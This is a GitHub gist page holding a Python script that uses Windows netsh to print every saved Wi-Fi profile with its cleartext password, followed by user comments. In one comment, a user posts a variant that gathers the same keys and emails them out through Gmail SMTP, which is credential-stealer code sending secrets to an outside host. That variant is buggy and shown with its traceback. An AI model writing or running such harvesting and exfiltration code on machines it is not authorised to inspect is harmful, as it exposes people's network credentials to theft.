Skip to content

Instantly share code, notes, and snippets.

@brentvollebregt
Last active October 11, 2023 08:32
Show Gist options
  • Save brentvollebregt/30d278eae98e2ff221add008259d42bb to your computer and use it in GitHub Desktop.
Save brentvollebregt/30d278eae98e2ff221add008259d42bb to your computer and use it in GitHub Desktop.
Will find each network profile on a Windows machine and print the profile and password
import subprocess
a = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors="ignore").split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
try:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8', errors="ignore").split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
print ("{:<30}| {:<}".format(i, results[0]))
except IndexError:
print ("{:<30}| {:<}".format(i, ""))
except subprocess.CalledProcessError:
print ("{:<30}| {:<}".format(i, "ENCODING ERROR"))
a = input("")
Copy link

ghost commented Sep 23, 2017

great program

@ZanoDev
Copy link

ZanoDev commented Feb 22, 2018

line 6 gives me the error:
"UnicodeDecodeError: 'utf-8' codec can't decode byte 0x85 in position 361: invalid start byte"

@ydv-sahitya
Copy link

wow amazing

@jonasermert
Copy link

great program

@brentvollebregt
Copy link
Author

@ZanoDev sorry for the late reply, didn't realise people actually visited this.
Looks like there are characters in one of your profiles that utf-8 can't decode. This could also be caused by languages to different characters than English. This will be an issue when you print out at the end as they will not be able to print to the console. Execute "netsh wlan show profiles" and you will be able to see the non-utf-8 character.
You could try using 'cp1252' instead of 'utf-8' decoding (has worked for others)

@SmokeyLowkey
Copy link

Hello,
So i tried to use this code but the passwords did not show up. I tried to put a [32] instead of [0] on line 10 and it gave me the whole line like this: Key Content : password.

Would the line be different on other CMDs or is that standard? Let me know.

Thanks

@brentvollebregt
Copy link
Author

@SmokeyLowkey it should be standard across all of the lastest Windows distributions.

@reveng007
Copy link

Check this out, this one is working fine

: https://gist.github.com/reveng007/b31da0e4df6942f4bc97ae8ac448e9f4

@1Ernest1
Copy link

1Ernest1 commented Mar 7, 2022

this is my code
need you help

import subprocess, smtplib, re

def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com" , 587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()

command = "netsh wlan show profile HONOR key=clear"
networks = subprocess.check_output(command, shell= True)
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = ""
for networks_name in networks_name_list:
command = "netsh wlan show profile" + networks_name + "key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result

send_mail(" my email", "my password", result)

@1Ernest1
Copy link

1Ernest1 commented Mar 7, 2022

this is error
Traceback (most recent call last):
File "C:\pythonProject(pogoda)\parol.py", line 16, in
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
File "C:\Python\lib\re.py", line 241, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

@VuongAnhGitHub
Copy link

Are you sure that it'll work?

@fjadidi2001
Copy link

what about Linux?
Ubuntu doesn't work with this

@reveng007
Copy link

No only focuses on windows.
Btw, i Don't have any plan to update this...
If u want to commit or something u can do that.

@fjadidi2001
Copy link

No only focuses on windows. Btw, i Don't have any plan to update this... If u want to commit or something u can do that.
hm, tnx

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment